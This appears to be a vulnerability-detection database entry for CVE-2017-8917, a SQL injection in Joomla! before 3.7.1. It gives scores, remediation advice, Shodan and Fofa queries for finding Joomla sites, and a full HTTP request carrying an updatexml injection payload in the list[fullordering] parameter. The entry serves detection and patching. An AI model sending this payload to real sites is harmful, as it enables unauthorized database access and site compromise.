🔙 목록으로 돌아가기

CVE-2017-8917: Joomla! <3.7.1 - SQL Injection

TitleJoomla! <3.7.1 - SQL Injection
Authorprincechaddha
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data theft, and potential compromise of the entire Joomla! website.
RemediationUpgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.94513
CVE IDCVE-2017-8917
CWE IDCWE-89
Shodan Queryhttp.component:"Joomla"http.html:"joomla! - open source content management"http.component:"joomla"cpe:"cpe:2.3:a:joomla:joomla\!"
Fofa Querybody="joomla! - open source content management"
Tags cve2017 cve joomla sqli vuln

🔍 Vulnerability Description

Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(0999)),1) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-8917.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-8917.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A